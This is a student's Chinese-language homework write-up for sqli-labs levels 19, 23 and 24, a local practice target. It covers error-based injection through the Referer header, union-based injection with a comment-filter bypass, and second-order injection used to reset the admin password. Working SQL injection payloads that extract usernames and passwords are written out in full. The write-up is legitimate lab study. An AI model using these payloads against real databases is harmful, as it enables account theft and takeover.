练习一:第十九关
登录查看回显
发现页面回显:
Your Referer is:
http://127.0.0.1:20001/Less-19/
因此判断注入点再
HTTP
头
Your Referer
中
抓包
Burp
查看
判断闭合
输入单引号,判断报错得知闭合为
'
页面产生报错语句,因此直接进行报错查询
查询数据库
输入:
查用户名
查密码
' or updatexml(1,concat(0x7e,substr((select group_concat(username) from
users),1,31),0x7e),1) or '
查密码
' or updatexml(1,concat(0x7e,substr((select group_concat(password) from
users),1,31),0x7e),1) or '
练习二:第23关
登录查看回显
判断闭合
1
个单引号报错
两个单引号正常,由此判断闭合为
'
该关卡注释符号被过滤了
可以通过单引号闭合原语句的单引号,仍可进行查询
判断查询字段数与回显字段
输入
得知查询字段数为
3
,且回显
2
,
3
字段数据
查数据
输入
-
1
‘
union select
1
,
2
,
3
'
得知查询字段数为
3
,且回显
2
,
3
字段数据
查数据
输入
-
1
‘
union select
1
,
2
,
3
'
-
1
' union select 1,(select group_concat(username) from users),(select
group_concat(password) from users) '
练习三:第24关
二次注入
创建用户
创建一个用户名为
admin'*
的用户,密码为
123456
登录
进入修改密码界面
修改密码
将密码修改为
111111
用新密码进行登录
账号:
admin'#
密码:
111111
登陆失败
但是修改密码显示修改成功,那么修改成功了哪个账号呢?
尝试登录admin账号
密码为
111111
登陆成功
查看数据库信息
发现
admin
账号的密码被我们修改了
分析
本关应该有三个位置有
sql
语句
登录的位置是
select
语句
新建用户的地方是
insert
语句
修改密码的地方是
update
语句。
登录与注册用户都进行了转义处理,无注入点
修改密码代码如下:
update
语句中的
$pass
和
$curr_pass
都是用户输入的参数,都经过转义了,但
$username
是从
session
中读 取的,并且没有经过转义,因此有sql
注入的可能。
username
有注入点,也就是说,这关可以实现不知道已知用户密码的情况下,修改已知用户密码的操作。这样倒推回去,修改密码时登录的用户(也就是攻击者新创建的用户)需要特殊构造。
比如,如果 已知用户是admin
,则新创建的用户应当是
admin'#
,使最终生效的
sql
语句为:
UPDATE users SETPASSWORD='$pass' where username='admin'
上面就是我们在学习sql注入时的课后作业,课程还在继续,今后我将会不定期更新咱们的课程进度以及课后作业。因为我们的作业有时候用到的是开源靶场,所以在我能够通过这种方式来记录学习过程的时候也能够帮助到一些自学的小伙伴,是真的挺开心的~